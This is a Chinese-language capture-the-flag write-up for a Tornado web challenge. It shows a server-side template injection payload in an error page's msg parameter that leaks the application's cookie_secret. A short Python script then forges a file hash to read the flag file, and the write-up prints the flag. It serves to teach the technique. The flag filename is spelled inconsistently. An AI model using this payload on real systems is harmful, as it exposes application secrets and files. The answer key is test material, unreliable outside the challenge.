題目點開存在三個檔案
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnL3cTO5EjMwIjM3ATMwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
/flag.txt提醒我們flag存在的位置
flag in /fllllllllllllag
/welcome.txt提醒render,render({options}) 猜測存在模闆注入
/hints.txt提醒
md5(cookie_secret+md5(filename))
即先将
filename
md5加密,再将
cookie_secret
與md5加密後的
filename
進行md5加密,目前我們需要知道的是
filename
和
cookie_secret
,猜測檔案名為
/fllllllllllag
,也就是說,隻要知道
cookie_secret
就行了。
通路檔案的url中
要通過filehash進行通路
嘗試通路/fllllllllllag,發現存在錯誤頁面
頁面存在msg,嘗試
證明存在模闆注入漏洞
通過查閱文檔發現cookie_secret在Application對象settings屬性中,還發現self.application.settings有一個别名:
handler指向的處理目前這個頁面的RequestHandler對象,
RequestHandler.settings指向self.application.settings,
是以handler.settings指向RequestHandler.application.settings。
構造payload:
/error?msg={{handler.settings}}
得到cookie_secret
5e454feb-3c1e-4920-ab21-fac30bd8bfc6
利用腳本構造
可利用線上網站進行編譯
python線上網站
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '5e454feb-3c1e-4920-ab21-fac30bd8bfc6'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
構造payload
/file?filename=/fllllllllllllag&filehash=519e1f4f0e635af43559dca0f6c6f686
得到flag
Flag
flag{3f39aea39db345769397ae895edb9c70}